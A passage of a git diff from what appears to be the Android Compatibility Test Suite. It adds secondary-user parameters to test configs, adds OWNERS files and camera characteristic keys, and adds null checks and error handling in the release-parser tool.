<option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 47f5d52..18a59ab 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Instant apps for TV is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/AndroidTest.xml b/tests/video/AndroidTest.xml
index aa1b576..ed55f13 100644
--- a/tests/video/AndroidTest.xml
+++ b/tests/video/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="media" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsVideoTestCases.apk" />
diff --git a/tests/vr/AndroidTest.xml b/tests/vr/AndroidTest.xml
index cca1a02..2179395 100644
--- a/tests/vr/AndroidTest.xml
+++ b/tests/vr/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="vr" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/vr/OWNERS b/tests/vr/OWNERS
new file mode 100644
index 0000000..b0936ba
--- /dev/null
+++ b/tests/vr/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 189591
+krzysio@google.com
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 160c9b5..1ca3cfa 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -463,6 +463,8 @@
charsKeyNames.add(CameraCharacteristics.CONTROL_AWB_LOCK_AVAILABLE.getName());
charsKeyNames.add(CameraCharacteristics.CONTROL_AVAILABLE_MODES.getName());
charsKeyNames.add(CameraCharacteristics.CONTROL_POST_RAW_SENSITIVITY_BOOST_RANGE.getName());
+ charsKeyNames.add(CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES.getName());
+ charsKeyNames.add(CameraCharacteristics.CONTROL_ZOOM_RATIO_RANGE.getName());
charsKeyNames.add(CameraCharacteristics.EDGE_AVAILABLE_EDGE_MODES.getName());
charsKeyNames.add(CameraCharacteristics.FLASH_INFO_AVAILABLE.getName());
charsKeyNames.add(CameraCharacteristics.HOT_PIXEL_AVAILABLE_HOT_PIXEL_MODES.getName());
diff --git a/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java b/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java
index a7ef925..e8c8afe 100644
--- a/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java
+++ b/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java
@@ -66,8 +66,13 @@
Map<String, Integer> dependencies = new HashMap<>();
for (Service service : mServices) {
// skip /, e.g. /system/bin/sh
- String file = service.getFile().substring(1);
- dependencies.put(file, 1);
+ try {
+ String file = service.getFile().substring(1);
+ dependencies.put(file, 1);
+ } catch (Exception e) {
+ System.err.println(
+ "err Service " + service.getName() + " File:" + service.getFile());
+ }
}
for (String importRc : mImportRc) {
@@ -140,7 +145,7 @@
private void parseService(String line, BufferedReader buffReader) throws IOException {
Service.Builder serviceBld = Service.newBuilder();
- String[] phases = line.split(" ");
+ String[] phases = line.split("\\s+");
serviceBld.setName(phases[1]);
serviceBld.setFile(phases[2]);
if (phases.length > 3) {
diff --git a/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java b/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java
index 5d4b9b4..13a01bf 100644
--- a/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java
+++ b/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java
@@ -122,80 +122,84 @@
List<Entry> entryList = new ArrayList<Entry>();
// walks through all files
- for (File file : fileList) {
- if (file.isFile()) {
- String fileRelativePath =
- mRootPath.relativize(Paths.get(file.getAbsolutePath())).toString();
- FileParser fParser = FileParser.getParser(file);
- Entry.Builder fileEntryBuilder = fParser.getFileEntryBuilder();
- fileEntryBuilder.setRelativePath(fileRelativePath);
+ System.out.println("Parsing: " + folderRelativePath);
+ // skip if it's a symbolic link to a folder
+ if (fileList != null) {
+ for (File file : fileList) {
+ if (file.isFile()) {
+ String fileRelativePath =
+ mRootPath.relativize(Paths.get(file.getAbsolutePath())).toString();
+ FileParser fParser = FileParser.getParser(file);
+ Entry.Builder fileEntryBuilder = fParser.getFileEntryBuilder();
+ fileEntryBuilder.setRelativePath(fileRelativePath);
- if (folderRelativePath.isEmpty()) {
- fileEntryBuilder.setParentFolder(ROOT_FOLDER_TAG);
- } else {
- fileEntryBuilder.setParentFolder(folderRelativePath);
- }
+ if (folderRelativePath.isEmpty()) {
+ fileEntryBuilder.setParentFolder(ROOT_FOLDER_TAG);
+ } else {
+ fileEntryBuilder.setParentFolder(folderRelativePath);
+ }
- Entry.EntryType eType = fParser.getType();
- switch (eType) {
- case TEST_SUITE_TRADEFED:
- mRelContentBuilder.setTestSuiteTradefed(fileRelativePath);
- TestSuiteTradefedParser tstParser = (TestSuiteTradefedParser) fParser;
- // get [cts]-known-failures.xml
- mRelContentBuilder.addAllKnownFailures(tstParser.getKnownFailureList());
- mRelContentBuilder.setName(tstParser.getName());
- mRelContentBuilder.setFullname(tstParser.getFullName());
- mRelContentBuilder.setBuildNumber(tstParser.getBuildNumber());
- mRelContentBuilder.setTargetArch(tstParser.getTargetArch());
- mRelContentBuilder.setVersion(tstParser.getVersion());
- mRelContentBuilder.setReleaseType(ReleaseType.TEST_SUITE);
- break;
- case BUILD_PROP:
- BuildPropParser bpParser = (BuildPropParser) fParser;
- try {
- mRelContentBuilder.setReleaseType(ReleaseType.DEVICE_BUILD);
- mRelContentBuilder.setName(bpParser.getName());
- mRelContentBuilder.setFullname(bpParser.getFullName());
- mRelContentBuilder.setBuildNumber(bpParser.getBuildNumber());
- mRelContentBuilder.setVersion(bpParser.getVersion());
- mRelContentBuilder.putAllProperties(bpParser.getProperties());
- } catch (Exception e) {
- System.err.println(
- "No product name, version & etc. in "
- + file.getAbsoluteFile()
- + ", err:"
- + e.getMessage());
- }
- break;
- default:
- }
- // System.err.println("File:" + file.getAbsoluteFile());
- if (fParser.getDependencies() != null) {
- fileEntryBuilder.addAllDependencies(fParser.getDependencies());
- }
- if (fParser.getDynamicLoadingDependencies() != null) {
- fileEntryBuilder.addAllDynamicLoadingDependencies(
- fParser.getDynamicLoadingDependencies());
- }
- fileEntryBuilder.setAbiBits(fParser.getAbiBits());
- fileEntryBuilder.setAbiArchitecture(fParser.getAbiArchitecture());
+ Entry.EntryType eType = fParser.getType();
+ switch (eType) {
+ case TEST_SUITE_TRADEFED:
+ mRelContentBuilder.setTestSuiteTradefed(fileRelativePath);
+ TestSuiteTradefedParser tstParser = (TestSuiteTradefedParser) fParser;
+ // get [cts]-known-failures.xml
+ mRelContentBuilder.addAllKnownFailures(tstParser.getKnownFailureList());
+ mRelContentBuilder.setName(tstParser.getName());
+ mRelContentBuilder.setFullname(tstParser.getFullName());
+ mRelContentBuilder.setBuildNumber(tstParser.getBuildNumber());
+ mRelContentBuilder.setTargetArch(tstParser.getTargetArch());
+ mRelContentBuilder.setVersion(tstParser.getVersion());
+ mRelContentBuilder.setReleaseType(ReleaseType.TEST_SUITE);
+ break;
+ case BUILD_PROP:
+ BuildPropParser bpParser = (BuildPropParser) fParser;
+ try {
+ mRelContentBuilder.setReleaseType(ReleaseType.DEVICE_BUILD);
+ mRelContentBuilder.setName(bpParser.getName());
+ mRelContentBuilder.setFullname(bpParser.getFullName());
+ mRelContentBuilder.setBuildNumber(bpParser.getBuildNumber());
+ mRelContentBuilder.setVersion(bpParser.getVersion());
+ mRelContentBuilder.putAllProperties(bpParser.getProperties());
+ } catch (Exception e) {
+ System.err.println(
+ "No product name, version & etc. in "
+ + file.getAbsoluteFile()
+ + ", err:"
+ + e.getMessage());
+ }
+ break;
+ default:
+ }
+ // System.err.println("File:" + file.getAbsoluteFile());
+ if (fParser.getDependencies() != null) {
+ fileEntryBuilder.addAllDependencies(fParser.getDependencies());
+ }
+ if (fParser.getDynamicLoadingDependencies() != null) {
+ fileEntryBuilder.addAllDynamicLoadingDependencies(
+ fParser.getDynamicLoadingDependencies());
+ }
+ fileEntryBuilder.setAbiBits(fParser.getAbiBits());
+ fileEntryBuilder.setAbiArchitecture(fParser.getAbiArchitecture());
- Entry fEntry = fileEntryBuilder.build();
- entryList.add(fEntry);
- mEntries.put(fEntry.getRelativePath(), fEntry);
- folderSize += file.length();
- } else if (file.isDirectory()) {
- // Checks subfolders
- Entry.Builder subFolderEntry = parseFolder(file.getAbsolutePath());
- if (folderRelativePath.isEmpty()) {
- subFolderEntry.setParentFolder(ROOT_FOLDER_TAG);
- } else {
- subFolderEntry.setParentFolder(folderRelativePath);
+ Entry fEntry = fileEntryBuilder.build();
+ entryList.add(fEntry);
+ mEntries.put(fEntry.getRelativePath(), fEntry);
+ folderSize += file.length();
+ } else if (file.isDirectory()) {
+ // Checks subfolders
+ Entry.Builder subFolderEntry = parseFolder(file.getAbsolutePath());
+ if (folderRelativePath.isEmpty()) {
+ subFolderEntry.setParentFolder(ROOT_FOLDER_TAG);
+ } else {
+ subFolderEntry.setParentFolder(folderRelativePath);
+ }
+ Entry sfEntry = subFolderEntry.build();
+ entryList.add(sfEntry);
+ mEntries.put(sfEntry.getRelativePath(), sfEntry);
+ folderSize += sfEntry.getSize();
}
- Entry sfEntry = subFolderEntry.build();
- entryList.add(sfEntry);
- mEntries.put(sfEntry.getRelativePath(), sfEntry);
- folderSize += sfEntry.getSize();
}
}
folderEntry.setName(folderRelativePath);
diff --git a/tools/vm-tests-tf/OWNERS b/tools/vm-tests-tf/OWNERS
new file mode 100644
index 0000000..29fea99
--- /dev/null
+++ b/tools/vm-tests-tf/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/classloaders/OWNERS